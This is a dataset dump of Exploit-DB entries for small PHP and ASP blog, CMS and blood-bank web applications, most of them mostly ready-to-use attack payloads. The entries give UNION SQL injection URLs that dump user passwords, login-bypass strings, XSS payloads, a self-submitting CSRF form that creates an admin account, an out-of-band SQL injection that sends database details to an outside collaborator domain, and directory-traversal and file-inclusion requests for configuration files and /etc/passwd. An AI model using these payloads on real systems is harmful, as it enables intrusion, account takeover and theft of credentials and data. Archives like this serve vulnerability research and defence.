deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5480
Description: BlogWorx 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-21
Author: U238

Exploit:
BlogWorx 'view.asp'  Multiple SQL Injection Vulnerability

Discovered By : U238

WebPage         : http://noexec.blogspot.com

mail                  : setuid.noexec0x1[a.q]hotmail[d0t].com


Script               : http://devworx.somee.com/projects/project.asp?pid=20

Script (alternativ)   : http://www.codedworld.com/download/blogworx/74764.html

Exploits   >>

http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,Password,UserName,5,6+from+Users
http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,Password,Password,5,6+from+Users
http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,UserName,Password,5,6+from+Users

: The_BekiR  - fahn - ka0x - xarnux - Ruslan - Tevfik Cevik - Ferruh Mavituna - nettoxic  - sersak :

# milw0rm.com [2008-04-21]
Exploit-DB #28574
Description: Blojsom 2.31 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-14
Author: Avinash Shenoi

Exploit:
source: https://www.securityfocus.com/bid/20026/info

Blojsom is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

To demonstrate the vulnerability, simply embed the following encoded text into the identified vulnerable fields. 

'><script>alert(1234)</script> 

This will have the effect of popping up an alert window. This proof of concept could easily be altered to cause the script to return authentication credentials to an attacker-controlled server.
Exploit-DB #5234
Description: Bloo 1.00 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-03-11
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+	     Bloo - Object Oriented Blog Software <= v.1.00 Remote Sql Injection     +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: Bloo - Object Oriented Blog Software <= v.1.00 Remote Sql Injection 
 Download: http://sourceforge.net/project/showfiles.php?group_id=160870
 Bug: Remote Sql Injection
 Info: Bloo is a free, public-domain, object-oriented implementation of full-featured blog software, based on the Phoo Phramework. You can visit the Bloo home wiki at http://outofthebloo.com.
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

Bloo - Object Oriented Blog Software <= v.1.00 present more sql injection...

http://www.example.com/index.php?post_id=1+union+select+1,concat(login_id,char(58),password),3,4,5,6,7,8+from+bloo_user/*

http://www.example.com/index.php?post_category_id=1+union+select+1,2,3,4,concat(login_id,char(58),password),6,7,8+from+bloo_user/*

http://www.example.com/index.php?post_year_month=[NumberIdOfExistentPost]+union+select+1,2,3,4,concat(login_id,char(58),password),6,7,8+from+bloo_user/*

http://www.example.com/index.php?static_page_id=1+union+select+1,user(),3,4,5,6/*

etc...

etc... 

etc...

I think there are other sql injection in this blog lol

[*]----------------------------------------------------------

# milw0rm.com [2008-03-11]
Exploit-DB #51912
Description: Blood Bank 1.0 - 'bid' SQLi
Type: webapps
Platform: php
Date: 2024-03-20
Author: Ersin Erenler

Exploit:
# Exploit Title: Blood Bank 1.0 - 'bid' SQLi
# Date: 2023-11-15
# Exploit Author: Ersin Erenler
# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code
# Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46022

-------------------------------------------------------------------------------

# Description:

The 'bid' parameter in the /delete.php file of Code-Projects Blood Bank V1.0 is susceptible to Out-of-Band SQL Injection. This vulnerability stems from inadequate protection mechanisms, allowing attackers to exploit the parameter using Burp Collaborator to initiate OOB SQL injection attacks. Through this technique, an attacker can potentially extract sensitive information from the databases.

Vulnerable File: /delete.php

Parameter Name: bid

# Proof of Concept:
----------------------

1. Intercept the request to cancel.php via Burp Suite
2. Inject the payload to the vulnerable parameters
3. Payload: 3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
4. Example request for bid parameter:
---

GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.domain.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/bloodinfo.php
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

---
5. Database and version information is seized via Burp Suite Collaborator
Exploit-DB #50362
Description: Blood Bank System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-01
Author: Nitin Sharma

Exploit:
# Exploit Title: Blood Bank System 1.0 - Authentication Bypass
# Date: 30-9-2021
# Exploit Author: Nitin Sharma (vidvansh)
# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code/
# Software Link : https://download.code-projects.org/details/f44a4ba9-bc33-48c3-b030-02f62117d230
# Version: 1.0
# Tested on: Windows 10 , Apache , Mysql 

# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.

#Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/bloodbank/login.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.

# PoC:

GET /bloodbank/file/../bloodrequest.php?msg=Gandhi%20hospital%20have%20logged%20in. HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/login.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

# Authentication Bypass:

# Go to admin login page (http://localhost/bloodbank/login.php), then use below payload as username and password => 
Username: ** Random email**			
Password: ' or 1 -- -
Exploit-DB #51955
Description: Blood Bank v1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Ersin Erenler

Exploit:
# Exploit Title: Blood Bank v1.0 Stored Cross Site Scripting (XSS)
# Date: 2023-11-14
# Exploit Author: Ersin Erenler
# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code
# Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46020

-------------------------------------------------------------------------------

# Description:

The parameters rename, remail, rphone, and rcity in the /file/updateprofile.php file of Code-Projects Blood Bank V1.0 are susceptible to Stored Cross-Site Scripting (XSS). This vulnerability arises due to insufficient input validation and sanitation of user-supplied data. An attacker can exploit this weakness by injecting malicious scripts into these parameters, which, when stored on the server, may be executed when other users view the affected user's profile.

Vulnerable File: updateprofile.php

Parameters: rename, remail, rphone, rcity

# Proof of Concept:
----------------------

1. Intercept the POST request to updateprofile.php via Burp Suite
2. Inject the payload to the vulnerable parameters
3. Payload: "><svg/onload=alert(document.domain)>
4. Example request for rname parameter:

---

POST /bloodbank/file/updateprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/rprofile.php?id=1
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&r[CREDENTIAL_REDACTED]=[PII_REDACTED]&rcity=lucknow&bg=A%2B&update=Update

----

5. Go to the profile page and trigger the XSS

XSS Payload:

"><svg/onload=alert(document.domain)>
Exploit-DB #51697
Description: Blood Donor Management System v1.0 - Stored XSS
Type: webapps
Platform: php
Date: 2023-09-04
Author: Ehlullah Albayrak

Exploit:
# Exploit Title: Blood Donor Management System v1.0 - Stored XSS
# Application: Blood Donor Management System
# Version: v1.0   
# Bugs:  Stored XSS
# Technology: PHP
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-donor-management-system-using-codeigniter/
# Date: 15.08.2023
# Author: Ehlullah Albayrak
# Tested on: Windows


#POC
========================================
1. Login to user account
2. Go to Profile 
3. Change "State" input and add "<script>alert("xss")</script>" payload.
4. Go to http://localhost/blood/welcome page and search "O", XSS will be triggered.

#Payload: <script>alert("xss")</script>
Exploit-DB #47842
Description: BloodX 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-01-02
Author: riamloo

Exploit:
# Exploit Title: BloodX 1.0 - Authentication Bypass
# Author: riamloo
# Date: 2019-12-31
# Vendor Homepage: https://github.com/diveshlunker/BloodX
# Software Link: https://github.com/diveshlunker/BloodX/archive/master.zip
# Version: 1
# CVE: N/A
# Tested on: Win 10

# Discription:
# An standalone platform which lets donors, receivers, organizers and sponsers to merge.
# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost//BloodX-master/login.php

POST /BloodX-master/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Referer: http://localhost/BloodX-master/login.php
Cookie: PHPSESSID=qusaqht0gvh0f97vbf44ep3iu
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]=LOGIN
Exploit-DB #48786
Description: BloodX CMS 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-09-03
Author: BKpatron

Exploit:
# Exploit Title: BloodX CMS 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-09-02
# Exploit Author: BKpatron
# Vendor Homepage: https://github.com/diveshlunker/BloodX
# Software Link: https://github.com/diveshlunker/BloodX/archive/master.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/BloodX-master/login.php

POST /BloodX-master/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Referer: http:/localhost/BloodX-master/login.php
Cookie: PHPSESSID=97vbf440gvh0fep3iuqusaqht
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]=LOGIN
Exploit-DB #4945
Description: bloofox 0.3 - SQL Injection / File Disclosure
Type: webapps
Platform: php
Date: 2008-01-20
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title:Bloofox CMS Vulnerabilities
# Vendor: http://www.bloofox.com
# Bugs: SQL Injection (Authentication bypass) , Source code disclosure
# Vulnerable Version: 0.3 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

BloofoxCMS is a free open source content management system (CMS).


####################
- Vulnerability:
####################

+-->SQL Injection (authentication bypass)

Code Snippet:
index.php Line#107-116

if(isset($_POST['login']) || $_GET['login'] == "true") {
	if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {
		$login_ok = 1;
		if($_GET['login'] == "true") {
			load_url("index.php");
		}
	} else {
		$login_failed = 1;
	}
}

system/class_permissions.php Line#63-68
	function login($db,$user,$pass)
	{
		global $tbl_prefix;
		$pass = md5($pass);
		$db->query("SELECT uid,username,password,groups FROM ".$tbl_prefix."sys_user WHERE username = '".$user."' && password = '".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY username");
		$total = $db->num_rows();
		.
		.
		.


There is no input validation here therefore its possible for a remote attacker to bypass login mechanism when magic quotes is disabled!

POC :
Username: admin' or 1=1 /*
[CREDENTIAL_REDACTED]

+--> Source code disclosure

Code Snippet:
file.php Line#25-49

$file = $_GET['file'];

// Block external linkings
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {
	die("Forget It!");
}

$basedir = getcwd()."/media/files";

// create file name
$filename = sprintf("%s/%s", $basedir, $file);

// check file on server
if(!file_exists($filename)) {
	die("File not found!");
}

header("Content-Type: application/octet-stream");

$save_as_name = basename($file);
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");

// output
readfile($filename);

Input passed to the "file" parameter is not properly sanitised before being used.
This can be exploited to display arbitrary files through directory traversal attacks or by passing full paths.

POC:
GET: http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php
Referer: http://servername/

####################
- Credit :
####################
Original advisory: http://bugreport.ir/?/27
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-20]
Exploit-DB #39031
Description: BloofoxCMS - '/admin/index.php' Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2014-01-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/65019/info
  
bloofoxCMS is prone to the following security vulnerabilities:
  
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
  
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
  
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://localhost/admin/index.php?mode=user&action=new">
<input type="hidden" name="username" value="Admin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="pwdconfirm" value="123456"/>
<input type="hidden" name="3" value="Admin"/>
<input type="hidden" name="blocked" value="0"/>
<input type="hidden" name="deleted" value="0"/>
<input type="hidden" name="status" value="1"/>
<input type="hidden" name="login_page" value="0"/>
<input type="hidden" name="send" value="Add User"/>
</form>
</body>
</html>
Exploit-DB #39030
Description: BloofoxCMS - '/bloofox/admin/index.php?Username' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/65019/info
 
bloofoxCMS is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
 
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
 
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

http://localhost/bloofox/admin/index.php


POST /bloofox/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/admin/
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

action=login&[CREDENTIAL_REDACTED]=\[SQL INJECTION]
Exploit-DB #39029
Description: BloofoxCMS - '/bloofox/index.php?Username' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/65019/info

bloofoxCMS is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability

Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.

bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

http://localhost/bloofox/index.php?login=true


POST /bloofox/index.php?login=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/index.php?login=true
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

login=Login&[CREDENTIAL_REDACTED]=\[SQL INJECTION]
Exploit-DB #29854
Description: BloofoxCMS 0.2.2 - 'Img_Popup.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-14
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23487/info

BloofoxCMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects BloofoxCMS 0.2.2; other versions may also be vulnerable. 

http://www.example.com/[path]/plugins/spaw/img_popup.php?img_url=<script>alert(/the_Edit0r/);</script>
Exploit-DB #31041
Description: BloofoxCMS 0.3 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-20
Author: AmnPardaz

Exploit:
source: https://www.securityfocus.com/bid/27361/info

bloofoxCMS is prone to a directory-traversal vulnerability, a SQL-injection vulnerability, and an authentication-bypass vulnerability.

The SQL-injection vulnerability occurs because the application fails to sufficiently sanitize user-supplied data to the 'username' parameter of the 'class_permissions.php' script before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The authentication-bypass vulnerability stems from a lack of input-validation mechanisms in the 'system/class_permissions.php' file. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

The directory-traversal vulnerability occurs because the application fails to properly sanitize user-supplied input data to the 'file' parameter of 'file.php'. The attacker's input would consist of '../' directory-traversal sequences. Successful exploits could allow the attacker to access the contents of potentially sensitive files on the affected computer. Information obtained may help the attacker launch other attacks against the system.

bloofoxCMS 0.3 is vulnerable to these issues; previous versions may be affected as well. 

Username: admin' or 1=1 /*
[CREDENTIAL_REDACTED]

An example for the directory-traversal vulnerability was provided:

GET: http://www.example.com/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php
Exploit-DB #7580
Description: BloofoxCMS 0.3.4 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-24
Author: fuzion

Exploit:
BloofoxCMS 0.3.4
http://www.bloofox.com/

magic_quotes_gpc = Off
register_globals = On

- File Inclusion -
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00

Also vulnerable:
dialog.php?theme=<lfi>
dialog.php?dialog=foo&module=<lfi>

- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-24]
Exploit-DB #33287
Description: BloofoxCMS 0.3.5 - 'search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-15
Author: drunken danish rednecks

Exploit:
source: https://www.securityfocus.com/bid/36700/info

bloofoxCMS is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input passed through the 'search' parameter.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects bloofoxCMS 0.3.5; other versions may be vulnerable as well.

http://www.example.com/search.5.html?search=x%27%22%3E%3Cscript%3Ealert(%22redneck%22)%3C/script%3E